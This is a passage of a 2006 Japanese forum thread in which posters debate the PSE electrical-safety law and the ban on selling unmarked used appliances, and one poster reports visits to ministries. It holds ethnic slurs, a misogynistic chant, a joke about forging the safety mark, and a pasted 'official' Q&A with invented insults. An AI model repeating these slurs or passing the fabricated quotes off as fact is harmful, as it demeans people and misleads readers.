560 ：名無しさん＠６周年：2006/02/13(月) 21:37:02 ID:uK5zLL1B0

どうせ、そのﾏｰｸが利権になってるんだろ？
官僚の考えることはいずこも同じ。

561 ：名無しさん＠６周年：2006/02/13(月) 21:37:16 ID:sMmVbmJs0

>>554
パソコン本体は総務省なので、、、（ｒｙ
おい、お前と同じ質問は100回以上見た

562 ：名無しさん＠６周年：2006/02/13(月) 21:37:23 ID:JNfzjkZZO

>>543
>>530みたいな馬鹿ってさ
生産するｴﾈﾙｷﾞｰ無視するよね。

563 ：名無しさん＠６周年：2006/02/13(月) 21:37:25 ID:s27+KlPs0

>>556
修理も出来ないｗ

564 ：名無しさん＠６周年：2006/02/13(月) 21:37:42 ID:lBP8bBUb0

>>554
余計な付加機能の付いていないモデルなら、あくまで通信機器等の扱いなので、管轄省庁違いで問題なし。
但し、ワンタッチテレビのような、家電に準ずる機能を搭載しているような多機能モデルの場合、みなし家電と
して扱われる可能性も有り得るので注意。

565 ：名無しさん＠６周年：2006/02/13(月) 21:37:50 ID:4uZSdvut0

＞＞５５７

これから叩き売りが一気に勃発するの？

どうせ使い捨てなら安く買いたいｗ

どうせ修理前提の製品なんてもう日本からはなくなるみたいだし。

566 ：名無しさん＠６周年：2006/02/13(月) 21:37:52 ID:i457ogts0

>>553
＞これオークションも同じだよね。

そのコピペが事実だったとしても、
特商法上のガイドラインの提示すらできない無能職員の言った事を根拠に、
経産省の総意や公式発表みたいな扱いで煽り立てるのもどうかと思う。

↓個人のヤフオク利用はPSEマークなし家電でも問題ないから。↓

　インターネット・オークションでの販売においても、例えば、個人が自分で使うために購入した製品を、
必要が無くなった等の理由で販売する場合などは、電気用品安全法の対象外となります。
　しかし、個人による販売であっても、一度に大量に販売したり、何度も繰り返し販売すれば、
電気用品安全法上の「販売の事業」と考えられ、電気用品安全法上の販売の規制の対象となります。
http://www.meti.go.jp/policy/consumer/seian/denan/keikasochi/keikasochi_q&a.htm#Q6

■対象となる出品者
1ヶ月あたりの出品数が200点以上、または一時点において100点以上の商品を新規出品している出品者
落札額の合計が1ヶ月あたり100万円を超える出品者
落札額の合計が過去1年間に1,000万円を超える出品者
商品説明の内容から事業者であると認定できる出品者

上記の基準だけでは一律に事業者と判断することができない旨の記述もあることと、
事業者に該当するかどうかは個別の事情を踏まえての判断となります。
お客様が事業者に該当するかどうかご不明な場合や、
基準の詳細などにつきましては次の経済産業省担当窓口に直接お尋ねください。
http://auctions.yahoo.co.jp/phtml/auc/jp/notice/20060201.html

567 ：童貞（禁オナ２日目） ◆rg1eZotGCA ：2006/02/13(月) 21:37:58 ID:pZnFV92a0

この調子で中古車販売禁止しやがれ
今の車なんて電気製品並の電装積んでるだろうが。特にプリウス

中古車販売禁止！中古車販売禁止！中古車販売禁止！中古車販売禁止！中古車販売禁止！
ついでに中古女も追放！中古女も追放！中古女も追放！中古女も追放！中古女も追放！

>>557
サンクス

568 ：名無しさん＠６周年：2006/02/13(月) 21:38:10 ID:396oYBAR0

新品売りたいメーカーの陰謀だろ
環境が大事、リサイクルとかいいつつ
ゴミの山を作り出す馬鹿国家

569 ：名無しさん＠６周年：2006/02/13(月) 21:38:10 ID:GjJoJeza0

|∧∧
|･ω･`) そ〜〜・・・
|ｏ[推奨凸先]ｏ
|―ｕ'

|　∧∧
|(´･ω･`)
|ｏ　　 ヾ
|―ｕ'　[推奨凸先] <ｺﾄｯ

￣￣￣￣￣￣￣￣

| ミ 　ﾋﾟｬｯ!
|　　　　[推奨凸先]

首相官邸
http://www.kantei.go.jp/jp/forms/goiken.html
自民党
http://www.jimin.jp/jimin/main/mono.html
民主党
[email protected]

570 ：名無しさん＠６周年：2006/02/13(月) 21:38:54 ID:1JiwV92i0

>>561
おつかれｗｗｗｗ

571 ：名無しさん＠６周年：2006/02/13(月) 21:39:21 ID:QVprLaul0

デオデオとかの５年間保障は、どうなるんだろう・・・？

572 ：名無しさん＠６周年：2006/02/13(月) 21:39:21 ID:04Nk/eCu0

>>566
基準の詳細などにつきましては次の経済産業省担当窓口に直接お尋ねください。

573 ：名無しさん＠６周年：2006/02/13(月) 21:39:52 ID:IjDCJ2Jx0

>>554
パソコンは適用外みたいだね。
管轄が違うからとか、外国製（特にアメリカ）が多いからとかいろいろと理由があ
るみたいだが。
まあ、厳しい国際競争に打ち勝った、グローバルな標準規格がちゃんと有るのに、
日本の独自ルール押し付けようったって、そっぽ向かれて取り残されるだけですが。

574 ：まとめサイトの中の人：2006/02/13(月) 21:41:22 ID:QID++0XS0

同じような質問が多いようですが、まとめwikiのFAQに大体のってるので一度見てみて下さいです。
「電源外して鑑賞用として販売すれば〜」とかについても。

575 ：名無しさん＠６周年：2006/02/13(月) 21:41:25 ID:2TZD9kvXO

ようは数年かけてデジタル家電にすべてシフトさせる計画なんだな。
カメラメーカーもどんどん撤退してるし、しまいはソニー松下みたいな大手しか生き残れなくなるな。

576 ：名無しさん＠６周年：2006/02/13(月) 21:41:57 ID:S5LkL4iY0

PSEマーク付の製品と
PSEマークが付いていない古い製品とでは
品質上の差があるんですかね？
例えば以前より出火しにくい新たな構造になっているとかの。

577 ：名無しさん＠６周年：2006/02/13(月) 21:42:48 ID:F7DSVLnN0

ここで逆転ホームラン！

中古家電に魔法かけて電気を使わなくてもいいようにするんや！

578 ：童貞（禁オナ２日目） ◆rg1eZotGCA ：2006/02/13(月) 21:43:16 ID:pZnFV92a0

>>571
ああいうのの、５年保証って、こんな感じらしいぞ
壊れた物を買った店にもっていく（この時点で店側ウマー）
↓
ろくに確かめもしないで、故障認定、メーカーに引き取らす
↓
客には壊れた、メーカーに送っても無理と言い、新製品を一応割引で買わせる

要するに、ポイントカードと同じで、客を縛ろうとしてるだけ

579 ：初スレ濁し ◆NdXA4pMuL2 ：2006/02/13(月) 21:43:32 ID:CDGxgDCN0

再び帰宅しました。さっそく本日の報告です。
（動画の撮影については、機材の都合がつかなかったため出来ませんでした。）

はじめに環境省の「廃棄物・リサイクル対策部」に行きました。
アポなしでしたが、深野さんという職員の方と15分ほどお話が出来ました。
電気用品安全法については私が話すまで知らなかったそうです。
「不法投棄は犯罪であり、”不法投棄するしかない”とは考えないで欲しい」
「リユース・リサイクルの部署が経済産業省にもある」
「電気用品安全法は経済産業省の所管法であり、そちらに話を聞くのが良いと思う」など聞けました。
また、一消費者である私が環境省に直接来たのが不思議だったのか
「これは学校の勉強ですか？」と聞かれたので「えぇまぁそうです」とか言っちゃいましたが、
そんな課題が出たかどうかという記憶が定かではないです。

続いて立地も近いので経済産業省に行くことにしましたが
どの部署に行くべきか迷ったので、まずは消費者相談の窓口に行きました。
実は受付時間を30分ほど過ぎていたのですが、
PSEマークのことを口に出すと「あぁあれね」といった雰囲気になり、
http://www.meti.go.jp/policy/consumer/seian/denan/keikasochi/keikasochi_q&a.htm
これをプリントアウトしたものを頂きました。ここを出たあと指令を募り次に行く流れが下記レスです。
http://news19.2ch.net/test/read.cgi/newsplus/1139807472/847-863

580 ：名無しさん＠６周年：2006/02/13(月) 21:43:46 ID:QAfTPSWm0

>>576
それは無いでしょうな。PSEマーク付きの製品が
出火した(子供向けわたあめ製造機)事例があるし。

581 ：名無しさん＠６周年：2006/02/13(月) 21:43:46 ID:W5ughOkv0

>576
マーク付きが燃えたぞw

582 ：名無しさん＠６周年：2006/02/13(月) 21:44:25 ID:TboIBfe40

マークをプリントアウトして糊ではりつけろ。

583 ：名無しさん＠６周年：2006/02/13(月) 21:44:36 ID:kksbSrSRO

実際、ＰＬ法だのＰＳＥだの、メリットよりデメリットばかりじゃねーか？
ま、ＰＬは悪質業者対策として必要かもしれんが、ＰＳＥはどうだ？
Ｓ〇ＮＹやＰａｎａｓ〇ｎｉｃ辺りと天下り役人だけがメリット得てないか？

584 ：名無しさん＠６周年：2006/02/13(月) 21:44:37 ID:w9GhSVAs0

要するにあれです。



役人の利権探しです。

585 ：名無しさん＠６周年：2006/02/13(月) 21:44:53 ID:f+cGyLDU0

昔の話だけど、構図は全く同じですな。
国民性が招いた悲劇というかなんというか。
以下転載。

----------

これは本当にあった話ですが、今から30年ぐらい前に、あるお母さんが子供のために
ブリキのおもちゃを買いました。よくある1両の電車です。あれで子供がぎこぎこやっていたら
指を切ってしまったのです。それで機能が回復しなくなった。このお母さんが消費者運動に
関わっていたので、どうしたかというと、「大体、こんな危険なものを売らせた政府がけしからん。
ちゃんと事前に規制しろ」と言ったのです。

(中略)

これに乗ったのが当時の通産省です。消費生活用品安全法という規制を作って、
「危ないものは通産省のチェックなしには売らせない」という規制ルールを作ったのです。
ブリキのおもちゃ、ヘルメット、登山用ザイル、金属バットなどです。この金属バットが、
日米貿易摩擦で引っ掛かって、「アメリカが本場のものを、日本政府がかってにチェックするな」と
言われて、通産省は金属バットを除外しました。

586 ：名無しさん＠６周年：2006/02/13(月) 21:45:34 ID:04Nk/eCu0

お前等今騒いどかないと、一生後悔しますよ。

消費者保護か悪法か、経済産業省「電気用品安全法」などを改正の検討:Garbagenews.com
http://www.gamenews.ne.jp/archives/2006/01/post_487.html

購入から一定期間が経つと製品が作動しなくなる「タイムスタンプ」機能を製品につけ、
消費者に定期点検をうながす案などが浮上、 早ければ2006年度中の改正を目指す。

587 ：初スレ濁し ◆NdXA4pMuL2 ：2006/02/13(月) 21:45:39 ID:CDGxgDCN0

続いて経済産業省の産業技術環境局のリサイクル推進課に行きました。
ここに行ったのは環境省でリサイクルの話が出たからだったのですが、
「電気用品安全法」の話になると違う部署の守備範囲だったらしく、
経済産業省の商務情報政策局の製品安全課を紹介されました。
結局ここは５分ほどで出ました（突っ込んだ話はしていません）。

さて、製品安全課についたは良かったのですが、
あいにく担当者の方が席を外されていたため、今日は話が出来ませんでした。
そのかわり、今週17日（金）に、私のほうに電話をかけて頂けることになりました。
http://news19.2ch.net/test/read.cgi/newsplus/1139817030/56

その後、駄目もとで渋谷NHKに行ってみたところ、
http://news19.2ch.net/test/read.cgi/newsplus/1139817030/247
アポなしだったものの幸いにも記者の方にお会いでき、名刺まで頂けました。
ttp://www.imgup.org/iup162356.jpg　（東京新聞の記事>>1-2参照）
ttp://www.meti.go.jp/policy/consumer/seian/denan/keikasochi/keikasochi_q&a.htm
ttp://www.ishibashi.co.jp/We_Buy/pse.htm
ttp://www.antipse.org/paper.pdf
ttp://www8.atwiki.jp/denkianzen/pages/15.html
これらをプリントアウトしたもの（経済産業省でもらったものもあり）を資料として記者の方にお渡しし、
加えて、ビンテージ楽器や製造終了したゲーム機（ドリキャスなど）が
購入できなくなってしまいそうだという話をしたところ、けっこう熱心に話を聞いて下さいました。
>>2の緒方さんのコメントにも出てきていますが、
冷蔵庫などの白物家電と趣味家電とを一律に扱うのには違和感を持たれたり、
国民に広く知らされていない（せいぜいwebサイトと官報ぐらい）という状況を理解してくださったりと
好感触でした。「放映として形になるかどうかは分からない」とは言いながらも
”形になる”場合は事前に私まで連絡を下さるということになりました。

ついでですが、坂本龍一さんのブログはこちらのリンクのほうが良いのではないでしょうか？
.com/で終わってしまうと時間が経つうちに別記事になっている可能性が高いので。
ttp://blog.sitesakamoto.com/index.php?itemid=164

588 ：名無しさん＠６周年：2006/02/13(月) 21:45:43 ID:AYpgqAlT0

■経産省からのお知らせです■

中古品売りたけりゃ、天下りを受け入れなっっ!!!!!!!!!!!!

589 ：名無しさん＠６周年：2006/02/13(月) 21:46:26 ID:9PXADi2w0

そして日本には桁違いに重大な嘘がはびこっている。
なんと政治家や政府関係者、マスコミがこれらの大嘘を広めているのである。

例えば「小さな政府が正しい」「規制緩和で景気が良くなる」
「日本は潜在成長率を高める必要がある」「公共事業は悪だ」
「年金保険料の納付は義務で、未納者によって年金が崩壊」
「小子化で労働力が不足し、経済成長には移民が必要」などの嘘である。

しかし一番重大で悪質なのが「日本の財政が危機的」という大嘘である。


「小さな政府うんぬん」などの嘘が簡単に世間で信用されるのも、突き詰めれば「日本の財政が危機」という脅しが効いている。

http://www.adpweb.com/eco/index.html

590 ：名無しさん＠６周年：2006/02/13(月) 21:46:53 ID:28Nu5pMd0

>585
そして責任を取らないのも通産省。

591 ：名無しさん＠６周年：2006/02/13(月) 21:47:10 ID:3ZosryuR0

ヴィンテージギターとか、プロフェット５とかのシンセ類はどうなんの？

592 ：名無しさん＠６周年：2006/02/13(月) 21:47:13 ID:QI+XDlZl0

>>573
管轄とか外国製が多いって・・・一体何を根拠に？
パソコンも家電並みの電源持ってるだろうに。

593 ：名無しさん＠６周年：2006/02/13(月) 21:47:16 ID:IjDCJ2Jx0

しかし、団塊世代が集団退職するって時に。こういう法律が施行されるって
言うのは、やっぱりここで言われてるような、団塊官僚の天下り先確保の為
なのかね？あまりにも符号が合いすぎ。
つか、もしそーなら、団塊は日本を食いつぶす気か！って感じで怒り倍増なんだが。

594 ：名無しさん＠６周年：2006/02/13(月) 21:47:45 ID:F7WyZM8zO

おいおい！マジかよ！ソニーはここまで腐ってるのか…orz
売国どころの話じゃないな。日本中を敵にまわして生き残れるはずがないだろ。
ソニーは官僚より悪質だな。さすがタイマーを開発しただけのことはあるぜ…。

595 ：名無しさん＠６周年：2006/02/13(月) 21:47:56 ID:Jql5btRI0

ビンテージ電化製品リース業最強！！！！！！！！

596 ：名無しさん＠６周年：2006/02/13(月) 21:48:16 ID:AYpgqAlT0

■経産省からのお知らせです■

中古品売りたけりゃ、天下りを受け入れなっっ!!!!!!!!!!!!

597 ：名無しさん＠６周年：2006/02/13(月) 21:48:43 ID:pnIMq7nx0

なぁ、コレ消費者にとって何のメリットがあるんだ？

デメリットしか思いつかないんだけど。

598 ：名無しさん＠６周年：2006/02/13(月) 21:49:04 ID:/JHiNaZa0

>>579
>>587

乙！

599 ：名無しさん＠６周年：2006/02/13(月) 21:49:06 ID:wXIYs9jX0

>>579>>587
突撃＆詳細レポ乙ですた！

600 ：名無しさん＠６周年：2006/02/13(月) 21:49:10 ID:iZQ6HC0k0

>>593
食いつぶす気に決まってるじゃん
人間死んだらそれまでだし

601 ：名無しさん＠６周年：2006/02/13(月) 21:49:30 ID:QflSKOMA0

ACアダプタだけだと思ってた。　　＜販売禁止になるもの

602 ：名無しさん＠６周年：2006/02/13(月) 21:49:42 ID:i457ogts0

>>576

マーク付きの事故事例があるみたいだから、
米国での日本輸出牛肉の検査みたいな感じ？
でまぁ、

「検査するならしっかり検査汁！」

と考えるか、

「チェックしても無駄だった！ノーチェックで輸出汁！」

と考えるかは個人の自由。。。なのかな？

603 ：名無しさん＠６周年：2006/02/13(月) 21:49:49 ID:SvEQBN3S0

>>592
パソコンは経産省の縄張り外なんだよ
天下りが本当に安全の事なんて考えるはずもないし

604 ：名無しさん＠６周年：2006/02/13(月) 21:49:52 ID:XKT0bqon0

東大門
金浦空港
杖をついた老人、純白のパジチョゴリそして頭には黒のカツ
タクシーの運転手は頼みもしないのに女を紹介してくる
ハイウェイは滑走路
明洞通りにネオンはない
トーチカの前に自動小銃を抱えた警官
国の花ムクゲ
零時から4時は外出禁止
ハイカラな明洞通り
釜山からは対馬が見えるだろう
制限速度は時速60キロ
夜間の道路上での駐車は駐車灯を点灯する
月に一度の防空訓練
東京-京城間はおよそ2時間
46歳以上の人は日本語を話す

605 ：名無しさん＠６周年：2006/02/13(月) 21:49:53 ID:W5ughOkv0

>587
お疲れさまでした

606 ：名無しさん＠６周年：2006/02/13(月) 21:50:28 ID:AYpgqAlT0

781 名前：名刺は切らしておりまして[sage] 投稿日：2006/02/05(日) 22:25:46 ID:vt1LFFDs
先日、経産省に聞いてみた概要を貼っとく。

Q.すでに流通している製品の安全性を改めて検査してPSEマークを付すことはできるか？
A（経産官僚）.できるかアフォ！。製造段階以外での検査機関はねーよ、カス。

Q.では、PSEマークのない製品については4月1日以降どのように処分すれば良いのか？
A（経産官僚）.そのために猶予期間を設定していたんだよ、ハゲ！

Q.猶予期間というが、本法律が国民に広く知れ渡っていると考えているのか？
A（経産官僚）.文盲かおまいｗｗｗｗｗｗｗ官報に掲載しているので「知らなかった」というのは通用し
ねーぞ＞厨房

Q.あなたは官報に掲載された法律全てに目を通しているのか？
A（経産官僚）.氏ねﾊｲﾊｲﾜﾛｽﾜﾛｽ。次！

Q.では、国民の大多数が官報に目を通すと考えているのか？
A（経産官僚）.官報に掲載された以上、それは「知っているもの」とみなされる。

Q.他の重要な法律はテレビCMやポスターなどで周知徹底をはかることもあるが、
本法律の広報については充分であったと考えるか？
A（経産官僚）.知ラネーヨ。周知徹底できなかったなら、知らないおまいらがアフォ。

607 ：名無しさん＠６周年：2006/02/13(月) 21:50:50 ID:fioXLB/E0

鑑定番組に出てくるような有名なコレクターとか何か言わないかな・・・
アンティークの電気スタンドとかけっこう関係あるの多いと思うけど

608 ：名無しさん＠６周年：2006/02/13(月) 21:51:01 ID:04Nk/eCu0

経済産業省と電気用品安全法届出等窓口数カ所に電話してきた　んで、わかった事は

・事業を行うモノは2006/04/01からはPSEマークがついてないヤツは新品/中古とも販売しては駄目
　第四章　販売等の制限（第二十七条・第二十八条）というヤツですな

　んじゃ、事業ではない個人はいーの？と聞いたらこれが凄く曖昧　事業とは継続・反復して販売する
　モノを指すので余りやり過ぎると事業と見なされるとの事。んで『じゃ個人と事業の判断基準はなーに？』
　と聞いたら『特に決まっていません』との回答。試しに『月に１、２台オーディオ製品を売るのは大丈夫？』と
　聞いたら『それは事業と見なされます』とか言って来た(オイオイ、さっき基準がねーとか言っただろーが
　大体月に１，２台ってマニアのヤツなら十分考えられる台数だぞ！！）

　他の窓口でも大体同じ答え。継続・反復しなければ個人での販売はOKみたいなニュアンスで話してた（まぁ
　基準が全然ハッキリしないんだけどね・・・・・・・)

609 ：名無しさん＠６周年：2006/02/13(月) 21:51:20 ID:3ZosryuR0

京城音楽か

610 ：名無しさん＠６周年：2006/02/13(月) 21:51:25 ID:awfXBtWP0

何としてでも大企業が製造する「高い新製品」を売りたいのはわかるが
現実的に「無駄」に「高い新製品」を買える国民は既にこの国にはいない。

そこにきて、安い「新古品」や「型落ち品」は売る事が出来ない。
そこで、腐敗しきって未来を見ないでパフォーマンスだけの政治屋たち。
さらに、マニュアル通りの事しか出来ない柔軟性のない官僚。

流通経済は、機能しなくなる...政・財・官は完膚無きに壊れた。
血脈が切れてマトモな世継ぎがない皇族。


2666年目にして日本は...The END.
下３桁が666か...獣の王が賑わう時と...

611 ：名無しさん＠６周年：2006/02/13(月) 21:52:30 ID:AYpgqAlT0

781 名前：名刺は切らしておりまして[sage] 投稿日：2006/02/05(日) 22:25:46 ID:vt1LFFDs
先日、経産省に聞いてみた概要を貼っとく。

Q.すでに流通している製品の安全性を改めて検査してPSEマークを付すことはできるか？
A（経産官僚）.できるかアフォ！。製造段階以外での検査機関はねーよ、カス。

Q.では、PSEマークのない製品については4月1日以降どのように処分すれば良いのか？
A（経産官僚）.そのために猶予期間を設定していたんだよ、ハゲ！

Q.猶予期間というが、本法律が国民に広く知れ渡っていると考えているのか？
A（経産官僚）.文盲かおまいｗｗｗｗｗｗｗ官報に掲載しているので「知らなかった」というのは通用し
ねーぞ＞厨房

Q.あなたは官報に掲載された法律全てに目を通しているのか？
A（経産官僚）.氏ねﾊｲﾊｲﾜﾛｽﾜﾛｽ。次！

Q.では、国民の大多数が官報に目を通すと考えているのか？
A（経産官僚）.官報に掲載された以上、国民全員「知っているもの」とみなされんだよっ！＞池沼

Q.他の重要な法律はテレビCMやポスターなどで周知徹底をはかることもあるが、
本法律の広報については充分であったと考えるか？
A（経産官僚）.知ラネーヨ。周知徹底できなかったなら、知らないおまいらがアフォ。

612 ：名無しさん＠６周年：2006/02/13(月) 21:52:31 ID:iErg9UBY0

>>587
乙！！！
追加報告も待ってるお

613 ：名無しさん＠６周年：2006/02/13(月) 21:52:33 ID:4bn6QEGZ0

>>579

乙です。
しかし、環境省の人、話すまで知らなかったって
やっぱり縦割り行政だな。なんか環境省も期待出来ないな。

614 ：名無しさん＠６周年：2006/02/13(月) 21:52:38 ID:6c4wv1Ep0

>>579
>>587
GJ!

615 ：名無しさん＠６周年：2006/02/13(月) 21:53:01 ID:F3ysGA57O

>>587
すごい行動力ですね。
超乙です。

616 ：名無しさん＠６周年：2006/02/13(月) 21:53:04 ID:XRYINSWh0

PSEマーク無しだと6年前でもNGで、
PSEマーク付なら、これから何十年経とうと売ってもOKってこと？

変なの。

617 ：童貞（禁オナ２日目） ◆rg1eZotGCA ：2006/02/13(月) 21:53:55 ID:pZnFV92a0

この調子で中古車販売禁止しやがれ
今の車なんて電気製品並の電装積んでるだろうが。特にプリウス

中古車販売禁止！中古車販売禁止！中古車販売禁止！中古車販売禁止！中古車販売禁止！
ついでに中古女も追放！中古女も追放！中古女も追放！中古女も追放！中古女も追放！

618 ：名無しさん＠６周年：2006/02/13(月) 21:54:20 ID:04Nk/eCu0

>>616
PSEより新しいものが出来なければね。

619 ：名無しさん＠６周年：2006/02/13(月) 21:54:30 ID:qG2L2AZq0

もう
天下りマーク
ってよんだ方がいいんでない

620 ：名無しさん＠６周年：2006/02/13(月) 21:54:35 ID:28Nu5pMd0

色んなヤシが電凸するんで、真面目に質問している俺も疑われたぞ、なかなか馬鹿に
した対応を経産省がするんで、途中から俺も電凸モードになってしまったがな。

621 ：名無しさん＠６周年：2006/02/13(月) 21:54:36 ID:AYpgqAlT0

■経産省からのお知らせです■

中古品売りたけりゃ、天下りを受け入れなっっ!!!!!!!!!!!!

622 ：名無しさん＠６周年：2006/02/13(月) 21:55:04 ID:RbmqH/+Y0

へ？MDは対象か？

623 ：名無しさん＠６周年：2006/02/13(月) 21:55:19 ID:6DB2OlF30

XBOX360にはマークないぞｗｗｗｗ

624 ：名無しさん＠６周年：2006/02/13(月) 21:55:41 ID:W5ughOkv0

俺はオーディオ好きなので無駄に高い製品買うけど
下取り無しは辛いよ。
それと出費に見合った購買欲をそそる新製品が
少ないのはメーカの怠慢だと思う。
欲しく成る物を出してくれ。

625 ：名無しさん＠６周年：2006/02/13(月) 21:56:39 ID:Ca7vEzhGO

>>610

三百年後には確実に人類は滅びます

600年は無理です

626 ：名無しさん＠６周年：2006/02/13(月) 21:56:41 ID:PM1QCBl10

中古車に家電ついているじゃん
カーステとか、付属のラジオとか…。
電子制御いっぱいしているじゃん。

中古車も販売禁止じゃねえの。

627 ：名無しさん＠６周年：2006/02/13(月) 21:56:47 ID:AYpgqAlT0

782 名前：名刺は切らしておりまして[sage] 投稿日：2006/02/05(日) 22:26:47 ID:vt1LFFDs
Q.PSEマークのない家電についてはリサイクルショップが敬遠するなどして、引き取ってもらえない
というケースが今後引越しシーズンを迎え発生することが想定されるが、それについて何か対策は用意されているのか？
A（経産官僚）.ねーよ。だけど逆らうと事業者とみなすぞ、オラオラ！

Q.事業者、あるいは事業者とみなされた個人の場合はどうなるのか？
A（経産官僚）.販売したらﾀｲｰﾎだ、アフォ！氏ね！

Q.販売してはいけないのであれば、どのように処分すれば良いのか？
A（経産官僚）.知るかボケ！カス！

Q.捨てろと言うことか？
A（経産官僚）.知るかボケ！カス！

Q.では仮に、事業者が「従来ならば充分価値ある商品になりえたPSEマークのない製品」を
ゴミとして処分することにした場合、その損失に対する特別な措置、税制上の優遇措置はあるか？
または検討されているということはあるか？
A（経産官僚）.ねーよ！検討するつもりもネーヨ＞池沼

Q.今後、PSEマークのない製品が大量にゴミとして捨てられる可能性があるが、
それについてはどのように考えているのか？
A（経産官僚）.知るかボケ！カス！俺ら高級官僚に逆らうのかゴルァ！

628 ：名無しさん＠６周年：2006/02/13(月) 21:56:54 ID:mbwCasuu0

>>579
>>587
超乙。

629 ：名無しさん＠６周年：2006/02/13(月) 21:56:54 ID:f+cGyLDU0

>>613
> しかし、環境省の人、話すまで知らなかったって
> やっぱり縦割り行政だな。なんか環境省も期待出来ないな。

行政は縦割りで当然だと思うぞ
そこから上は政治の問題

630 ：名無しさん＠６周年：2006/02/13(月) 21:57:08 ID:tBqVbyEs0

>>625
ちょんか

631 ：名無しさん＠６周年：2006/02/13(月) 21:57:43 ID:iErg9UBY0

>>626
当方の知るところではない

632 ：名無しさん＠６周年：2006/02/13(月) 21:57:48 ID:IjDCJ2Jx0

>>592
パソコンは総務省の管轄。
パソコン部品・規格はアメリカ企業（MSとかINTELとかATI）が主導権を握ってる。
日本が規格制定に優勢なのはCD・DVDとかか。

633 ：名無しさん＠６周年：2006/02/13(月) 21:57:53 ID:ZiQneOs10

>>617
中古車は別に車検制度があるから問題なし
ってか、車は国交省っで、経済産業省は口出せないから

634 ：名無しさん＠６周年：2006/02/13(月) 21:58:15 ID:KVeYl/St0

もう少しお金が貯まったらフェンダーRHODES買おうと思ってたんだけど
何？ダメになっちゃうの？？

635 ：名無しさん＠６周年：2006/02/13(月) 21:58:52 ID:5r7Zw20i0

世界的なシンセサイザーの権威、冨田勲先生あたりにも出てきてもらいたいね。

636 ：名無しさん＠６周年：2006/02/13(月) 21:59:11 ID:AYpgqAlT0

■経産省からのお知らせです■

中古品売りたけりゃ、天下りを受け入れなっっ!!!!!!!!!!!!
逆らう香具師は全員事業者と見なして告発するぞオラオラ!!!!!!!!!!!!!!

この世は役人の天国なんだよっ!!!!!!!!!!!!!!!!

俺ら役人＝ネ申
おまいら＝カス国民

カス国民は俺らのシモベなんだよっ!!!!!!!!!!!!!!!!!!

637 ：童貞（禁オナ２日目） ◆rg1eZotGCA ：2006/02/13(月) 21:59:54 ID:pZnFV92a0

>>633
だったら、電化製品にも電検とか作れば良い

638 ：名無しさん＠６周年：2006/02/13(月) 22:00:22 ID:F7WyZM8zO

よく考えてみたら5年以上前の中古なんか買ったことないなあ。
車買ったのは（新車で）3年前だけど、これは売れるんだよね？

639 ：名無しさん＠６周年：2006/02/13(月) 22:01:12 ID:AYpgqAlT0

■経産省からのお知らせです■

中古品売りたけりゃ、天下りを受け入れなっっ!!!!!!!!!!!!
逆らう香具師は全員事業者と見なして告発するぞオラオラ!!!!!!!!!!!!!!

この世は役人の天国なんだよっ!!!!!!!!!!!!!!!!

俺ら役人＝ネ申
おまいら＝カス国民

カス国民は俺らのシモベなんだよっ!!!!!!!!!!!!!!!!!!

640 ：名無しさん＠６周年：2006/02/13(月) 22:01:21 ID:Jj0actpTP

中古車に付いている、コンポやらナビもだめってこと？
コンポとっぱずして新品付けて売るって事？

641 ：名無しさん＠６周年：2006/02/13(月) 22:01:35 ID:vnfusRa90

まあいいよ。
大手メーカーは認定料を上乗せして販売。
弱小メーカーは認定無で廉売。
俺は役人の天下り給料を払わないで済む後者を購入する。
当然だ。　

642 ：名無しさん＠６周年：2006/02/13(月) 22:01:36 ID:PM1QCBl10

何、このバカ法律。

643 ：名無しさん＠６周年：2006/02/13(月) 22:02:03 ID:ZiQneOs10

>>637
だから、タイマー付けて定期検査させようとしてるんでないの？
それで、おまいはいいの？

644 ：名無しさん＠６周年：2006/02/13(月) 22:02:28 ID:slhCJUT90

>>637
電検切れの機材使ったら逮捕とかなりそうで怖いな

645 ：名無しさん＠６周年：2006/02/13(月) 22:03:18 ID:f+cGyLDU0

>>344
> んで、あとから規制対象を２００１年以前の家電にも及ぼすと経済産業省が言い出すと。

ソース

646 ：名無しさん＠６周年：2006/02/13(月) 22:03:18 ID:p9/Q1zz70

>>638
新品も売ったらダメっぽいよ
ようはPSEマークがない、ものは物でない。
陳列棚に並べたら罰金１億いただきますよー
という共産国家真っ青の法案

647 ：童貞（禁オナ２日目） ◆rg1eZotGCA ：2006/02/13(月) 22:03:25 ID:pZnFV92a0

>>643
中古品販売OKなら、それでもいいよ
検査員が大量にいるだろうから、俺も正社員で就職できるかも

648 ：名無しさん＠６周年：2006/02/13(月) 22:03:42 ID:AYpgqAlT0

■経産省からのお知らせです■

経産省は競輪の資金使い放題遊び放題!!!!!!!!!!!!
一度やったらやめられない。

領収証もいらない真・裏金だぜ〜oh!yeah!

ttp://www.meti.go.jp/speeches/data_ed/ed050829j.html

649 ：名無しさん＠６周年：2006/02/13(月) 22:03:57 ID:6Lm4QqV70

>>579>>587
よくやった。感謝です。
NHKもとりあげてくれるといいですね。

650 ：初スレ濁し ◆NdXA4pMuL2 ：2006/02/13(月) 22:04:08 ID:CDGxgDCN0

ねぎらいのお言葉ありがとうございます。
さて、>>587に書いたとおり今週17日（金）に製品安全課から電話が来るのですが、
その対策を練りたいと考えています。
基本方針としては、「今までの様々な方による凸の結果を活かし、
電気用品安全法の、より一層慎重な運用
（例えば猶予期限延長とか、法律が適用される家電の種類見直しとか）を求める」あたりだと思うのですが、
ここで相談すると流れが速くて追いつけないのが不安な点なので、対策については
電気用品安全法（PSE法）反対運動支援総合スレ
http://aa5.2ch.net/test/read.cgi/nanmin/1139517307/
上記スレで練ろうかと思うのですが、よろしいでしょうか？

651 ：名無しさん＠６周年：2006/02/13(月) 22:04:15 ID:Io1QY82P0

パチンコの三点方式の感じに買取のため景品と交換し、その景品を現金化。
販売時も一旦景品を間に挟んで「販売じゃねぇよｺﾞﾙｧ」みたいな感じでは駄目？

652 ：名無しさん＠６周年：2006/02/13(月) 22:04:32 ID:gEk/pM+e0

まぁ、ゆとり教育みたいなもんだ。

653 ：名無しさん＠６周年：2006/02/13(月) 22:04:46 ID:drv4E6lA0

>646
「やくそくやぶったらいちおくえーん！」とか言ってる
消防レベルな金額設定が笑えるｗ
流石官僚様だぜ

654 ：名無しさん＠６周年：2006/02/13(月) 22:05:19 ID:HI1OM8TE0

>>591
ギターはＯＫ
シンセ類、エフェクター、アンプはアウト
だそうな

655 ：名無しさん＠６周年：2006/02/13(月) 22:05:40 ID:ADYBF27m0

要するに新品を買えと言う事か。

656 ：名無しさん＠６周年：2006/02/13(月) 22:05:42 ID:SvEQBN3S0

>>651
ヒント：鮮人特権

657 ：名無しさん＠６周年：2006/02/13(月) 22:05:50 ID:vnfusRa90

